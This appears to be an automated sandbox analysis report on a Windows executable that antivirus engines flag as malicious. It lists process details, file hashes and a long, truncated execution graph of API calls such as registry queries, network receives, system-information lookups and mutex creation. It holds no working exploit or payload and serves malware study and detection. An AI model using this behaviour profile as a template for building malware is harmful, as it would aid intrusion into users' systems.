                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x30000
                                                                                                                                                                                                                                                                                  File size:22'016 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:04F57C6FB2B2CD8DCC4B38E4A93D4366
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                  • Detection: 57%, ReversingLabs
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:52
                                                                                                                                                                                                                                                                                  Start time:06:16:04
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  Disassembly

                                                                                                                                                                                                                                                                                  Reset < >

                                                                                                                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                                                                                                                    Execution Coverage:4.5%
                                                                                                                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                                    Signature Coverage:2.8%
                                                                                                                                                                                                                                                                                    Total number of Nodes:762
                                                                                                                                                                                                                                                                                    Total number of Limit Nodes:16
                                                                                                                                                                                                                                                                                    execution_graph 13469 b047b0 13471 b04eed 13469->13471 13470 b04f59 shared_ptr std::invalid_argument::invalid_argument 13471->13470 13472 af7d30 7 API calls 13471->13472 13473 b050ed 13472->13473 13508 af8380 13473->13508 13475 b05106 13476 af5c10 6 API calls 13475->13476 13477 b05155 13476->13477 13478 af5c10 6 API calls 13477->13478 13479 b05171 13478->13479 13514 af9a00 13479->13514 13509 af83e5 __cftof 13508->13509 13510 af5c10 6 API calls 13509->13510 13513 af8403 shared_ptr std::invalid_argument::invalid_argument 13509->13513 13511 af8427 13510->13511 13512 af5c10 6 API calls 13511->13512 13512->13513 13513->13475 13515 af9a3f 13514->13515 13516 af5c10 6 API calls 13515->13516 13517 af9a47 13516->13517 13518 af8b30 6 API calls 13517->13518 13519 af9a58 13518->13519 13520 af9ba5 13521 af9ba7 13520->13521 13522 af5c10 6 API calls 13521->13522 13523 af9cb1 13522->13523 13524 af8b30 6 API calls 13523->13524 13525 af9cc2 13524->13525 13042 afb1a0 13043 afb1f2 13042->13043 13044 afb3ad CoInitialize 13043->13044 13045 afb3fa shared_ptr std::invalid_argument::invalid_argument 13044->13045 13101 af20a0 13104 b0c68b 13101->13104 13103 af20ac 13107 b0c3d5 13104->13107 13106 b0c69b 13106->13103 13108 b0c3e1 13107->13108 13109 b0c3eb 13107->13109 13110 b0c3be 13108->13110 13111 b0c39e 13108->13111 13109->13106 13120 b0cd0a 13110->13120 13111->13109 13116 b0ccd5 13111->13116 13113 b0c3d0 13113->13106 13117 b0cce3 InitializeCriticalSectionEx 13116->13117 13119 b0c3b7 13116->13119 13117->13119 13119->13106 13121 b0cd1f RtlInitializeConditionVariable 13120->13121 13121->13113 13329 af4120 13330 af416a 13329->13330 13332 af41b2 Concurrency::details::_ContextCallback::_CallInContext std::invalid_argument::invalid_argument 13330->13332 13333 af3ee0 13330->13333 13334 af3f48 13333->13334 13338 af3f1e 13333->13338 13336 af3f58 13334->13336 13339 af2c00 13334->13339 13336->13332 13338->13332 13340 af2c0e 13339->13340 13346 b0b847 13340->13346 13342 af2c42 13343 af2c49 13342->13343 13352 af2c80 13342->13352 13343->13332 13345 af2c58 Concurrency::cancel_current_task 13347 b0b854 13346->13347 13350 b0b873 Concurrency::details::_Reschedule_chore 13346->13350 13355 b0cb77 13347->13355 13349 b0b864 13349->13350 13357 b0b81e 13349->13357 13350->13342 13363 b0b7fb 13352->13363 13354 af2cb2 shared_ptr 13354->13345 13356 b0cb92 CreateThreadpoolWork 13355->13356 13356->13349 13358 b0b827 Concurrency::details::_Reschedule_chore 13357->13358 13361 b0cdcc 13358->13361 13360 b0b841 13360->13350 13362 b0cde1 TpPostWork 13361->13362 13362->13360 13364 b0b807 13363->13364 13365 b0b817 13363->13365 13364->13365 13367 b0ca78 13364->13367 13365->13354 13368 b0ca8d TpReleaseWork 13367->13368 13368->13365 13553 af3fe0 13555 af4022 13553->13555 13554 af4035 std::invalid_argument::invalid_argument 13555->13554 13556 af408c 13555->13556 13557 af40d2 13555->13557 13560 af35e0 13556->13560 13558 af3ee0 3 API calls 13557->13558 13558->13554 13561 af3616 13560->13561 13565 af364e Concurrency::cancel_current_task shared_ptr std::invalid_argument::invalid_argument 13561->13565 13566 af2ce0 13561->13566 13563 af369e 13564 af2c00 3 API calls 13563->13564 13563->13565 13564->13565 13565->13554 13567 af2d1d 13566->13567 13568 b0bedf InitOnceExecuteOnce 13567->13568 13569 af2d46 13568->13569 13570 af2d51 std::invalid_argument::invalid_argument 13569->13570 13571 af2d88 13569->13571 13575 b0bef7 13569->13575 13570->13563 13573 af2440 4 API calls 13571->13573 13574 af2d9b 13573->13574 13574->13563 13576 b0bf03 Concurrency::cancel_current_task 13575->13576 13577 b0bf73 13576->13577 13578 b0bf6a 13576->13578 13580 af2ae0 5 API calls 13577->13580 13582 b0be7f 13578->13582 13581 b0bf6f 13580->13581 13581->13571 13583 b0cc31 InitOnceExecuteOnce 13582->13583 13584 b0be97 13583->13584 13585 b0be9e 13584->13585 13586 b26cbb 4 API calls 13584->13586 13585->13581 13587 b0bea7 13586->13587 13587->13581 13675 afaf20 13676 afaf63 13675->13676 13687 b26660 13676->13687 13681 b2663f 4 API calls 13682 afaf80 13681->13682 13683 b2663f 4 API calls 13682->13683 13684 afaf98 __cftof 13683->13684 13693 af55f0 13684->13693 13686 afb04e shared_ptr std::invalid_argument::invalid_argument 13688 b2a671 __cftof 4 API calls 13687->13688 13689 afaf69 13688->13689 13690 b2663f 13689->13690 13691 b2a671 __cftof 4 API calls 13690->13691 13692 afaf71 13691->13692 13692->13681 13694 af5610 13693->13694 13696 af5710 std::invalid_argument::invalid_argument 13694->13696 13697 af22c0 13694->13697 13696->13686 13700 af2280 13697->13700 13701 af2296 13700->13701 13704 b287f8 13701->13704 13707 b27609 13704->13707 13706 af22a4 13706->13694 13708 b27631 ___std_exception_copy std::invalid_argument::invalid_argument 13707->13708 13709 b27649 13707->13709 13708->13706 13709->13708 13710 b2690a __cftof 4 API calls 13709->13710 13711 b27661 13710->13711 13713 b27bc4 13711->13713 13714 b27bd5 13713->13714 13715 b27be4 ___std_exception_copy 13714->13715 13720 b28168 13714->13720 13725 b27dc2 13714->13725 13730 b27de8 13714->13730 13740 b27f36 13714->13740 13715->13708 13721 b28171 13720->13721 13723 b28178 13720->13723 13749 b27b50 13721->13749 13723->13714 13724 b28177 13724->13714 13726 b27dd2 13725->13726 13727 b27dcb 13725->13727 13726->13714 13728 b27b50 4 API calls 13727->13728 13729 b27dd1 13728->13729 13729->13714 13733 b27e09 ___std_exception_copy 13730->13733 13734 b27def 13730->13734 13731 b27f69 13737 b27f77 13731->13737 13739 b27f8b 13731->13739 13757 b28241 13731->13757 13732 b27fa2 13732->13739 13753 b28390 13732->13753 13733->13714 13734->13731 13734->13732 13734->13733 13734->13737 13737->13739 13761 b286ea 13737->13761 13739->13714 13742 b27f4f 13740->13742 13744 b27f69 13740->13744 13741 b27fa2 13745 b28390 4 API calls 13741->13745 13748 b27f8b 13741->13748 13742->13741 13742->13744 13746 b27f77 13742->13746 13743 b28241 4 API calls 13743->13746 13744->13743 13744->13746 13744->13748 13745->13746 13747 b286ea 4 API calls 13746->13747 13746->13748 13747->13748 13748->13714 13750 b27b62 13749->13750 13751 b28ab6 4 API calls 13750->13751 13752 b27b85 13751->13752 13752->13724 13754 b283ab 13753->13754 13755 b283dd 13754->13755 13765 b2c88e 13754->13765 13755->13737 13758 b2825a 13757->13758 13772 b2d3c8 13758->13772 13760 b2830d 13760->13737 13763 b2875d std::invalid_argument::invalid_argument 13761->13763 13764 b28707 13761->13764 13762 b2c88e __cftof 4 API calls 13762->13764 13763->13739 13764->13762 13764->13763 13768 b2c733 13765->13768 13767 b2c8a6 13767->13755 13769 b2c743 13768->13769 13770 b2690a __cftof GetPEB ExitProcess GetPEB RtlAllocateHeap 13769->13770 13771 b2c748 __cftof ___std_exception_copy 13769->13771 13770->13771 13771->13767 13773 b2d3ee 13772->13773 13774 b2d3d8 ___std_exception_copy 13772->13774 13773->13774 13775 b2d485 13773->13775 13776 b2d48a 13773->13776 13774->13760 13778 b2d4e4 13775->13778 13779 b2d4ae 13775->13779 13785 b2cbdf 13776->13785 13802 b2cef8 13778->13802 13781 b2d4b3 13779->13781 13782 b2d4cc 13779->13782 13791 b2d23e 13781->13791 13798 b2d0e2 13782->13798 13786 b2cbf1 13785->13786 13787 b2690a __cftof GetPEB ExitProcess GetPEB RtlAllocateHeap 13786->13787 13788 b2cc05 13787->13788 13789 b2cef8 GetPEB ExitProcess GetPEB RtlAllocateHeap 13788->13789 13790 b2cc0d __alldvrm __cftof ___std_exception_copy _strrchr 13788->13790 13789->13790 13790->13774 13792 b2d26c 13791->13792 13793 b2d2de 13792->13793 13795 b2d2b7 13792->13795 13797 b2d2a5 13792->13797 13794 b2cf9a GetPEB ExitProcess GetPEB RtlAllocateHeap 13793->13794 13794->13797 13796 b2d16d GetPEB ExitProcess GetPEB RtlAllocateHeap 13795->13796 13796->13797 13797->13774 13799 b2d10f 13798->13799 13800 b2d14e 13799->13800 13801 b2d16d GetPEB ExitProcess GetPEB RtlAllocateHeap 13799->13801 13800->13774 13801->13800 13803 b2cf10 13802->13803 13804 b2cf75 13803->13804 13805 b2cf9a GetPEB ExitProcess GetPEB RtlAllocateHeap 13803->13805 13804->13774 13805->13804 13402 af9ab8 13404 af9acc 13402->13404 13405 af9b08 13404->13405 13406 af5c10 6 API calls 13405->13406 13407 af9b7c 13406->13407 13414 af8b30 13407->13414 13409 af9b8d 13410 af5c10 6 API calls 13409->13410 13411 af9cb1 13410->13411 13412 af8b30 6 API calls 13411->13412 13413 af9cc2 13412->13413 13415 af8b7c 13414->13415 13416 af5c10 6 API calls 13415->13416 13417 af8b97 shared_ptr std::invalid_argument::invalid_argument 13416->13417 13417->13409 13458 af4276 13459 af2410 5 API calls 13458->13459 13460 af427f 13459->13460 13035 b26629 13036 b264c7 __cftof 3 API calls 13035->13036 13037 b2663a 13036->13037 13304 afa9f4 13315 af9230 13304->13315 13306 afaa03 shared_ptr 13307 af5c10 6 API calls 13306->13307 13313 afaab3 shared_ptr 13306->13313 13308 afaa65 13307->13308 13309 af5c10 6 API calls 13308->13309 13310 afaa8d 13309->13310 13311 af5c10 6 API calls 13310->13311 13311->13313 13314 afad3c shared_ptr std::invalid_argument::invalid_argument 13313->13314 13325 b28ab6 13313->13325 13318 af9284 shared_ptr 13315->13318 13316 af5c10 6 API calls 13316->13318 13317 af9543 shared_ptr std::invalid_argument::invalid_argument 13317->13306 13318->13316 13323 af944f shared_ptr 13318->13323 13319 af5c10 6 API calls 13319->13323 13320 af98b5 shared_ptr std::invalid_argument::invalid_argument 13320->13306 13321 af979f shared_ptr 13321->13320 13322 af5c10 6 API calls 13321->13322 13324 af9927 shared_ptr std::invalid_argument::invalid_argument 13322->13324 13323->13317 13323->13319 13323->13321 13324->13306 13326 b28ad1 13325->13326 13327 b28868 4 API calls 13326->13327 13328 b28adb 13327->13328 13328->13313 13038 af87b2 13039 af87b8 GetFileAttributesA 13038->13039 13040 af87b6 13038->13040 13041 af87c4 13039->13041 13040->13039 13372 af8d30 13373 af8d80 13372->13373 13374 af5c10 6 API calls 13373->13374 13375 af8d9a shared_ptr std::invalid_argument::invalid_argument 13374->13375 13384 af2170 13387 b0c6fc 13384->13387 13386 af217a 13388 b0c724 13387->13388 13389 b0c70c 13387->13389 13388->13386 13389->13388 13391 b0cfbe 13389->13391 13392 b0ccd5 __Mtx_init_in_situ InitializeCriticalSectionEx 13391->13392 13393 b0cfd0 13392->13393 13393->13389 13418 af42b0 13421 af3ac0 13418->13421 13420 af42bb shared_ptr 13422 af3af9 13421->13422 13423 af32d0 6 API calls 13422->13423 13425 af3c38 13422->13425 13426 af3b39 __Cnd_destroy_in_situ shared_ptr __Mtx_destroy_in_situ 13422->13426 13423->13425 13424 af32d0 6 API calls 13428 af3c5f 13424->13428 13425->13424 13425->13428 13426->13420 13427 af3c68 13427->13420 13428->13427 13429 af3810 4 API calls 13428->13429 13430 af3cdb 13429->13430 13526 af77b0 13527 af77f1 shared_ptr 13526->13527 13528 af5c10 6 API calls 13527->13528 13530 af7883 shared_ptr 13527->13530 13528->13530 13529 af5c10 6 API calls 13532 af79e3 13529->13532 13530->13529 13531 af7953 shared_ptr std::invalid_argument::invalid_argument 13530->13531 13533 af5c10 6 API calls 13532->13533 13534 af7a15 shared_ptr 13533->13534 13535 af5c10 6 API calls 13534->13535 13540 af7aa5 shared_ptr std::invalid_argument::invalid_argument 13534->13540 13536 af7b7d 13535->13536 13537 af5c10 6 API calls 13536->13537 13538 af7ba0 13537->13538 13539 af5c10 6 API calls 13538->13539 13539->13540 13541 af87b0 13542 af87b8 GetFileAttributesA 13541->13542 13543 af87b6 13541->13543 13544 af87c4 13542->13544 13543->13542 13588 b087d0 13589 b0882a __cftof 13588->13589 13595 b09bb0 13589->13595 13593 b088d9 std::_Throw_future_error 13594 b0886c std::invalid_argument::invalid_argument 13608 b09ef0 13595->13608 13597 b09be5 13598 af2ce0 5 API calls 13597->13598 13599 b09c16 13598->13599 13612 b09f70 13599->13612 13601 b08854 13601->13594 13602 af43f0 13601->13602 13603 b0bedf InitOnceExecuteOnce 13602->13603 13604 af440a 13603->13604 13605 af4411 13604->13605 13606 b26cbb 4 API calls 13604->13606 13605->13593 13607 af4424 13606->13607 13609 b09f0c 13608->13609 13610 b0c68b __Mtx_init_in_situ 2 API calls 13609->13610 13611 b09f17 13610->13611 13611->13597 13613 b09fef shared_ptr 13612->13613 13616 b0a058 13613->13616 13617 b0a210 13613->13617 13615 b0a03b 13615->13601 13618 b0a290 13617->13618 13624 b071d0 13618->13624 13620 b0a2cc shared_ptr 13621 b0a4be shared_ptr 13620->13621 13622 af3ee0 3 API calls 13620->13622 13621->13615 13623 b0a4a6 13622->13623 13623->13615 13625 b07211 13624->13625 13632 af3970 13625->13632 13627 b072ad __cftof 13628 b07446 std::invalid_argument::invalid_argument 13627->13628 13629 b0c68b __Mtx_init_in_situ 2 API calls 13627->13629 13628->13620 13630 b07401 13629->13630 13637 af2ec0 13630->13637 13633 b0c68b __Mtx_init_in_situ 2 API calls 13632->13633 13634 af39a7 13633->13634 13635 b0c68b __Mtx_init_in_situ 2 API calls 13634->13635 13636 af39e6 13635->13636 13636->13627 13638 af2f7e GetCurrentThreadId 13637->13638 13639 af2f06 13637->13639 13640 af2fef 13638->13640 13641 af2f94 13638->13641 13642 b0c6ac GetSystemTimePreciseAsFileTime 13639->13642 13640->13628 13641->13640 13647 b0c6ac GetSystemTimePreciseAsFileTime 13641->13647 13643 af2f12 13642->13643 13644 af301e 13643->13644 13650 af2f1d __Mtx_unlock 13643->13650 13645 b0c26a 5 API calls 13644->13645 13646 af3024 13645->13646 13648 b0c26a 5 API calls 13646->13648 13649 af2fb9 13647->13649 13648->13649 13652 b0c26a 5 API calls 13649->13652 13653 af2fc0 __Mtx_unlock 13649->13653 13650->13646 13651 af2f6f 13650->13651 13651->13638 13651->13640 13652->13653 13654 b0c26a 5 API calls 13653->13654 13655 af2fd8 __Cnd_broadcast 13653->13655 13654->13655 13655->13640 13656 b0c26a 5 API calls 13655->13656 13657 af303c 13656->13657 13658 b0c6ac GetSystemTimePreciseAsFileTime 13657->13658 13668 af3080 shared_ptr __Mtx_unlock 13658->13668 13659 af31c5 13660 b0c26a 5 API calls 13659->13660 13661 af31cb 13660->13661 13662 b0c26a 5 API calls 13661->13662 13663 af31d1 13662->13663 13664 b0c26a 5 API calls 13663->13664 13666 af3193 __Mtx_unlock 13664->13666 13665 af31a7 std::invalid_argument::invalid_argument 13665->13628 13666->13665 13667 b0c26a 5 API calls 13666->13667 13669 af31dd 13667->13669 13668->13659 13668->13661 13668->13665 13670 af3132 GetCurrentThreadId 13668->13670 13670->13665 13671 af313b 13670->13671 13671->13665 13672 b0c6ac GetSystemTimePreciseAsFileTime 13671->13672 13673 af315f 13672->13673 13673->13659 13673->13663 13673->13666 13674 b0bd4c GetSystemTimePreciseAsFileTime 13673->13674 13674->13673 13122 af3c8e 13123 af3c98 13122->13123 13125 af3ca5 13123->13125 13130 af2410 13123->13130 13126 af3ccf 13125->13126 13134 af3810 13125->13134 13128 af3810 4 API calls 13126->13128 13129 af3cdb 13128->13129 13131 af2424 13130->13131 13138 b0b52d 13131->13138 13135 af381c 13134->13135 13187 af2440 13135->13187 13146 b23aed 13138->13146 13140 af242a 13140->13125 13141 b0b5a5 ___std_exception_copy 13153 b0b1ad 13141->13153 13143 b0b598 13149 b0af56 13143->13149 13157 b24f29 13146->13157 13148 b0b555 13148->13140 13148->13141 13148->13143 13150 b0af9f ___std_exception_copy 13149->13150 13152 b0afb2 shared_ptr 13150->13152 13163 b0b39f 13150->13163 13152->13140 13154 b0b1e1 shared_ptr 13153->13154 13155 b0b1d8 13153->13155 13154->13140 13156 b0b39f 5 API calls 13155->13156 13156->13154 13158 b24f2e __cftof 13157->13158 13158->13148 13159 b2d634 __cftof 4 API calls 13158->13159 13162 b28bfc __cftof 13158->13162 13159->13162 13160 b265ed __cftof 3 API calls 13161 b28c2f 13160->13161 13162->13160 13174 b0bedf 13163->13174 13166 b0b3e8 13166->13152 13183 b0cc31 13174->13183 13177 b26cbb 13178 b26cc7 __cftof 13177->13178 13179 b2a671 __cftof 4 API calls 13178->13179 13180 b26ccc 13179->13180 13181 b28bec __cftof 4 API calls 13180->13181 13182 b26cf6 13181->13182 13184 b0cc3f InitOnceExecuteOnce 13183->13184 13186 b0b3e1 13183->13186 13184->13186 13186->13166 13186->13177 13190 b0b5d6 13187->13190 13189 af2472 13191 b0b5f1 Concurrency::cancel_current_task 13190->13191 13192 b28bec __cftof 4 API calls 13191->13192 13194 b0b658 __cftof std::invalid_argument::invalid_argument 13191->13194 13193 b0b69f 13192->13193 13194->13189 13376 b0d111 13378 b0d121 13376->13378 13377 b0d12a 13378->13377 13380 b0d199 13378->13380 13381 b0d1c0 13380->13381 13382 b0d1a7 SleepConditionVariableCS 13380->13382 13381->13378 13382->13381 13260 af3c47 13261 af3c51 13260->13261 13264 af3c5f 13261->13264 13267 af32d0 13261->13267 13262 af3c68 13264->13262 13265 af3810 4 API calls 13264->13265 13266 af3cdb 13265->13266 13268 b0c6ac GetSystemTimePreciseAsFileTime 13267->13268 13274 af3314 13268->13274 13269 af336b 13270 b0c26a 5 API calls 13269->13270 13272 af333c __Mtx_unlock 13270->13272 13273 b0c26a 5 API calls 13272->13273 13275 af3350 std::invalid_argument::invalid_argument 13272->13275 13276 af3377 13273->13276 13274->13269 13274->13272 13286 b0bd4c 13274->13286 13275->13264 13277 b0c6ac GetSystemTimePreciseAsFileTime 13276->13277 13278 af33af 13277->13278 13279 b0c26a 5 API calls 13278->13279 13280 af33b6 __Cnd_broadcast 13278->13280 13279->13280 13281 b0c26a 5 API calls 13280->13281 13282 af33d7 __Mtx_unlock 13280->13282 13281->13282 13283 b0c26a 5 API calls 13282->13283 13284 af33eb 13282->13284 13285 af340e 13283->13285 13284->13264 13285->13264 13289 b0bb72 13286->13289 13288 b0bd5c 13288->13274 13290 b0bb9c 13289->13290 13291 b0cf6b _xtime_get GetSystemTimePreciseAsFileTime 13290->13291 13294 b0bba4 __Xtime_diff_to_millis2 std::invalid_argument::invalid_argument 13290->13294 13292 b0bbcf __Xtime_diff_to_millis2 13291->13292 13293 b0cf6b _xtime_get GetSystemTimePreciseAsFileTime 13292->13293 13292->13294 13293->13294 13294->13288 13816 af9f44 13817 af9f4c shared_ptr 13816->13817 13818 afa953 Sleep CreateMutexA 13817->13818 13820 afa01f shared_ptr 13817->13820 13819 afa98e 13818->13819 13046 af8780 13047 af8786 13046->13047 13053 b26729 13047->13053 13050 af87a6 13052 af87a0 13060 b26672 13053->13060 13055 af8793 13055->13050 13056 b267b7 13055->13056 13057 b267c3 __cftof 13056->13057 13059 b267cd ___std_exception_copy 13057->13059 13072 b26740 13057->13072 13059->13052 13061 b2667e __cftof 13060->13061 13063 b26685 ___std_exception_copy 13061->13063 13064 b2a8c3 13061->13064 13063->13055 13065 b2a8cf __cftof 13064->13065 13068 b2a967 13065->13068 13067 b2a8ea 13067->13063 13069 b2a98a 13068->13069 13070 b2d82f __cftof RtlAllocateHeap 13069->13070 13071 b2a9d0 ___free_lconv_mon 13069->13071 13070->13071 13071->13067 13073 b26762 13072->13073 13075 b2674d ___std_exception_copy ___free_lconv_mon 13072->13075 13073->13075 13076 b2a038 13073->13076 13075->13059 13077 b2a075 13076->13077 13078 b2a050 13076->13078 13077->13075 13078->13077 13080 b30439 13078->13080 13081 b30445 __cftof 13080->13081 13083 b3044d __dosmaperr ___std_exception_copy 13081->13083 13084 b3052b 13081->13084 13083->13077 13085 b3054d 13084->13085 13088 b30551 __dosmaperr ___std_exception_copy 13084->13088 13085->13088 13090 b300d2 13085->13090 13088->13083 13091 b300e3 13090->13091 13092 b2a671 __cftof 4 API calls 13091->13092 13093 b30106 13091->13093 13092->13093 13093->13088 13094 b2fcc0 13093->13094 13095 b2fd0d 13094->13095 13096 b2690a __cftof 4 API calls 13095->13096 13100 b2fd1c __cftof 13096->13100 13097 b2b67d 4 API calls 13097->13100 13098 b2c719 GetPEB ExitProcess GetPEB RtlAllocateHeap __fassign 13098->13100 13099 b2ffbc std::invalid_argument::invalid_argument 13099->13088 13100->13097 13100->13098 13100->13099 13199 af20c0 13200 b0c68b __Mtx_init_in_situ 2 API calls 13199->13200 13201 af20cc 13200->13201 13202 afe0c0 recv 13203 afe122 recv 13202->13203 13204 afe157 recv 13203->13204 13206 afe191 13204->13206 13205 afe2b3 std::invalid_argument::invalid_argument 13206->13205 13211 b0c6ac 13206->13211 13218 b0c452 13211->13218 13213 afe2ee 13214 b0c26a 13213->13214 13215 b0c292 13214->13215 13216 b0c274 13214->13216 13215->13215 13216->13215 13235 b0c297 13216->13235 13219 b0c4a8 13218->13219 13221 b0c47a std::invalid_argument::invalid_argument 13218->13221 13219->13221 13224 b0cf6b 13219->13224 13221->13213 13222 b0c4fd __Xtime_diff_to_millis2 13222->13221 13223 b0cf6b _xtime_get GetSystemTimePreciseAsFileTime 13222->13223 13223->13222 13225 b0cf7a 13224->13225 13227 b0cf87 __aulldvrm 13224->13227 13225->13227 13228 b0cf44 13225->13228 13227->13222 13231 b0cbea 13228->13231 13232 b0cc07 13231->13232 13233 b0cbfb GetSystemTimePreciseAsFileTime 13231->13233 13232->13227 13233->13232 13238 af2ae0 13235->13238 13237 b0c2ae Concurrency::cancel_current_task 13239 b0bedf InitOnceExecuteOnce 13238->13239 13241 af2af4 __cftof 13239->13241 13240 af2aff 13240->13237 13241->13240 13242 b2a671 __cftof 4 API calls 13241->13242 13245 b26ccc 13242->13245 13243 b28bec __cftof 4 API calls 13244 b26cf6 13243->13244 13245->13243 13300 af8980 13302 af89d8 shared_ptr 13300->13302 13303 af8aea 13300->13303 13301 af5c10 6 API calls 13301->13302 13302->13301 13302->13303 13454 af2e00 13455 af2e28 13454->13455 13456 b0c68b __Mtx_init_in_situ 2 API calls 13455->13456 13457 af2e33 13456->13457 13545 af3f9f 13546 af3fad 13545->13546 13548 af3fb6 13545->13548 13547 af2410 5 API calls 13546->13547 13547->13548 13440 af9adc 13441 af9afe shared_ptr 13440->13441 13442 af9aea 13440->13442 13446 af5c10 6 API calls 13441->13446 13442->13441 13443 afa917 13442->13443 13444 afa953 Sleep CreateMutexA 13443->13444 13445 afa98e 13444->13445 13447 af9b7c 13446->13447 13448 af8b30 6 API calls 13447->13448 13449 af9b8d 13448->13449 13450 af5c10 6 API calls 13449->13450 13451 af9cb1 13450->13451 13452 af8b30 6 API calls 13451->13452 13453 af9cc2 13452->13453 13399 af215a 13400 b0c6fc InitializeCriticalSectionEx 13399->13400 13401 af2164 13400->13401 13461 b26a44 13462 b26a52 13461->13462 13463 b26a5c 13461->13463 13466 b2698d 13463->13466 13465 b26a76 ___free_lconv_mon 13467 b2690a __cftof 4 API calls 13466->13467 13468 b2699f 13467->13468 13468->13465 13246 b0d0c7 13247 b0d0d7 13246->13247 13248 b0d17f 13247->13248 13249 b0d17b RtlWakeAllConditionVariable 13247->13249 12835 afa856 12836 afa870 12835->12836 12837 afa892 shared_ptr 12835->12837 12836->12837 12841 afa94e 12836->12841 12842 afa8a0 12837->12842 12851 af7d30 12837->12851 12839 afa8ae 12839->12842 12843 af7d30 7 API calls 12839->12843 12840 afa953 Sleep CreateMutexA 12844 afa98e 12840->12844 12841->12840 12845 afa8b8 12843->12845 12845->12842 12846 af7d30 7 API calls 12845->12846 12847 afa8c2 12846->12847 12847->12842 12848 af7d30 7 API calls 12847->12848 12849 afa8cc 12848->12849 12849->12842 12850 af7d30 7 API calls 12849->12850 12850->12842 12852 af7d96 __cftof 12851->12852 12889 af7ee8 shared_ptr std::invalid_argument::invalid_argument 12852->12889 12890 af5c10 12852->12890 12854 af7dd2 12855 af5c10 6 API calls 12854->12855 12856 af7dff shared_ptr 12855->12856 12857 af7ed3 GetNativeSystemInfo 12856->12857 12858 af7ed7 12856->12858 12856->12889 12857->12858 12859 af7f3f 12858->12859 12860 af8019 12858->12860 12858->12889 12861 af5c10 6 API calls 12859->12861 12862 af5c10 6 API calls 12860->12862 12863 af7f67 12861->12863 12864 af804c 12862->12864 12866 af5c10 6 API calls 12863->12866 12865 af5c10 6 API calls 12864->12865 12867 af806b 12865->12867 12868 af7f86 12866->12868 12870 af5c10 6 API calls 12867->12870 12900 b28bbe 12868->12900 12871 af80a3 12870->12871 12872 af5c10 6 API calls 12871->12872 12873 af80f4 12872->12873 12874 af5c10 6 API calls 12873->12874 12875 af8113 12874->12875 12876 af5c10 6 API calls 12875->12876 12877 af814b 12876->12877 12878 af5c10 6 API calls 12877->12878 12879 af819c 12878->12879 12880 af5c10 6 API calls 12879->12880 12881 af81bb 12880->12881 12882 af5c10 6 API calls 12881->12882 12883 af81f3 12882->12883 12884 af5c10 6 API calls 12883->12884 12885 af8244 12884->12885 12886 af5c10 6 API calls 12885->12886 12887 af8263 12886->12887 12888 af5c10 6 API calls 12887->12888 12888->12889 12889->12839 12891 af5c54 12890->12891 12903 af4b30 12891->12903 12893 af5d17 shared_ptr std::invalid_argument::invalid_argument 12893->12854 12894 af5c7b __cftof 12894->12893 12895 af5da7 RegOpenKeyExA 12894->12895 12896 af5e00 RegCloseKey 12895->12896 12898 af5e26 12896->12898 12897 af5ea6 shared_ptr std::invalid_argument::invalid_argument 12897->12854 12898->12897 12899 af5c10 4 API calls 12898->12899 13029 b28868 12900->13029 12902 b28bdc 12902->12889 12904 af4b92 12903->12904 12906 af4ce5 12903->12906 12904->12906 12907 b26da6 12904->12907 12906->12894 12908 b26db4 12907->12908 12910 b26dc2 __fassign 12907->12910 12912 b26d19 12908->12912 12910->12904 12917 b2690a 12912->12917 12916 b26d3d 12916->12904 12918 b26921 12917->12918 12919 b2692a 12917->12919 12925 b26d52 12918->12925 12919->12918 12931 b2a671 12919->12931 12926 b26d8f 12925->12926 12927 b26d5f 12925->12927 13021 b2b67d 12926->13021 12930 b26d6e __fassign 12927->12930 13016 b2b6a1 12927->13016 12930->12916 12932 b2a67b __cftof 12931->12932 12937 b2a694 __cftof ___free_lconv_mon 12932->12937 12946 b2d82f 12932->12946 12934 b2694a 12938 b2b5fb 12934->12938 12937->12934 12950 b28bec 12937->12950 12939 b26960 12938->12939 12940 b2b60e 12938->12940 12942 b2b628 12939->12942 12940->12939 12981 b2f5ab 12940->12981 12943 b2b650 12942->12943 12944 b2b63b 12942->12944 12943->12918 12944->12943 12988 b2e6b1 12944->12988 12949 b2d83c __cftof 12946->12949 12947 b2d867 RtlAllocateHeap 12948 b2d87a 12947->12948 12947->12949 12948->12937 12949->12947 12949->12948 12951 b28bf1 __cftof 12950->12951 12955 b28bfc __cftof 12951->12955 12956 b2d634 12951->12956 12970 b265ed 12955->12970 12958 b2d640 __cftof 12956->12958 12957 b2d69c ___std_exception_copy 12957->12955 12958->12957 12959 b2d726 12958->12959 12960 b2d81b __cftof 12958->12960 12961 b2d751 __cftof 12958->12961 12959->12961 12973 b2d62b 12959->12973 12962 b265ed __cftof 3 API calls 12960->12962 12961->12957 12965 b2a671 __cftof 4 API calls 12961->12965 12968 b2d7a5 12961->12968 12963 b2d82e 12962->12963 12965->12968 12967 b2d62b __cftof 4 API calls 12967->12961 12968->12957 12969 b2a671 __cftof 4 API calls 12968->12969 12969->12957 12976 